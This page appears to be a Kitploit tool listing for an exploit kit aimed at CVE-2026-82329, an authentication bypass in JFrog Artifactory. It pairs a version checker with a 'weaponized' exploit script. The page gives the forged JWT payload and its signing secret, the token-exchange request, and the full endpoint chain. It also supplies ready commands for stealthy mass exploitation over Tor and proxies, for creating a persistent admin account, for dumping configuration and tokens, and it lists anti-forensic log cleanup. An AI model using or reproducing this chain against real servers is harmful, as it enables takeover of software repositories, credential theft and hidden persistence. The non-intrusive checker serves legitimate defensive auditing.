CVE-2026-82329-PoC-Exploit — Exploit and detection toolkit for CVE-2026-82329, a JFrog Artifactory auth bypass. Forges join JWTs to mint admin tokens; includes a non-intrusive version checker. | Kitploit

Tool	Purpose	Intended User
`exploit.py`	Full weaponized toolkit with JWT forging, admin token exchange, admin user creation, mass scanning, stealth mode, proxy rotation, interactive menu, and full attack chain.	Red teams / authorized pentesters
`safechecker.py`	Non‑intrusive vulnerability checker that detects Artifactory version, validates exposure, and assesses risk without obtaining any token or executing any payload. Generates JSON reports.	Blue teams / security auditors

Feature	`exploit.py`	`safechecker.py`
Vulnerability detection	✅	✅
Version detection	✅	✅
Forged join JWT	✅	❌
Service token mint	✅	❌
Admin token exchange	✅	❌
Admin user creation	✅	❌
List repositories	✅	❌
List users	✅	❌
Dump configuration	✅	❌
Dump tokens	✅	❌
Full attack chain	✅	❌
Interactive menu	✅	❌
Mass scanning (multi‑thread)	✅	✅
Proxy support	✅	✅
Proxy rotation	✅	❌
Tor support (anonymity)	✅	❌
User‑Agent rotation (OPSEC)	✅	❌
Jitter (OPSEC)	✅	❌
Adaptive rate limiter	✅	❌
Non‑intrusive (safe) mode	❌	✅
Version report	✅	✅
Anonymous access check	❌	✅
JSON report	✅	✅
Log cleanup (anti‑forensic)

Scenario	Recommended Tool
Blue Team – verifying if your Artifactory is vulnerable	`safechecker.py`
Security Audit – non‑intrusive vulnerability assessment	`safechecker.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`safechecker.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` (detect‑only)
Incident Response – checking if systems are compromised	`safechecker.py`

Parameter	Description
`-u, --url`	Single target Artifactory URL (e.g. `http://artifactory.example.com:8082`)
`-f, --file`	File containing list of targets (one per line) for mass scanning
`--create-admin`	Create persistent admin user (format: `USER:PASS`)
`--keep-admin`	Keep created admin user (do not cleanup after scan)
`--token-only`	Only print admin token (single target)
`--interactive`	Interactive menu after exploitation
`--service-id`	Service ID for join JWT (default: `jfrt@01`)
`-t, --threads`	Number of threads for multi‑target (default: 10)
`--timeout`	Request timeout (default: 25s)
`--retry`	Max retries (default: 3)
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`--proxy-list`	File with proxies for rotation (one per line)
`--jitter`	Random jitter (0‑2 sec) between requests
`--stealth`	Enable stealth mode (UA rotation + X‑Forwarded‑For)
`--curl-cffi`	Use curl_cffi for TLS fingerprint impersonation
`--full`	Full attack: all modules
`--dump-config`	Dump system configuration
`--dump-tokens`	Dump all access tokens
`--list-repos`	List repositories
`--list-users`	List users
`--detect`	Detection only (no admin token exchange)

Parameter	Description
`-u, --url`	Single target Artifactory URL (e.g. `http://artifactory.example.com:8082`)
`-f, --file`	File containing list of targets (one per line)
`-t, --threads`	Number of threads for multi‑target (default: 5)
`--timeout`	Request timeout (default: 10s)
`-v, --verbose`	Verbose output
`-o, --output`	Save JSON report to file

#	Scenario	Command
1	Quick vulnerability check	`python safechecker.py -u http://artifactory.example.com:8082`
2	Detailed scan with report	`python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v`
3	Mass audit from file	`python safechecker.py -f targets.txt -t 10 -o audit.json`
4	Detect‑only exploit	`python exploit.py -u http://artifactory.example.com:8082 --detect`
5	Get admin token only	`python exploit.py -u http://artifactory.example.com:8082 --token-only`
6	Full attack with interactive menu	`python exploit.py -u http://artifactory.example.com:8082 --interactive`
7	Create persistent admin user	`python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin`
8	Dump configuration	`python exploit.py -u http://artifactory.example.com:8082 --dump-config`
9	List repositories and users	`python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users`
10	Mass exploit with stealth	`python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json`
11	Proxy rotation with Tor	`python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth`

Step	Method	Endpoint	Description
1. Join	POST	`/access/api/v1/registry/join`	Forged HS256 JWT → SERVICE token (`scp=admin`)
2. Exchange	POST	`/access/api/v1/tokens`	SERVICE token → platform admin token
3. Prove	GET	`/artifactory/api/system/configuration`	Admin‑only proof of access
4. Persist	PUT	`/artifactory/api/security/users/{user}`	Create persistent admin user
5. Revoke	DELETE	`/access/api/v1/tokens/{id}`	Cleanup created tokens

# Forged join JWT structure
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iat": <unix_timestamp>,
  "service_id": "jfrt@01",
  "kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
  "skip_node_registration": true
}

# Signing secret
secret = b"\x20" * 32

# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false

--exploit

Most Popular

CVE-2026-82329-PoC-Exploit

How it works

Affected Versions

Patch

🧰 Tools

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

requirements.txt

📋 Parameters

`exploit.py` Parameters

`safechecker.py` Parameters

💥 Scenarios

🧪 Endpoint & Exploitation Chain

Payload Format

🛡️ Responsible Use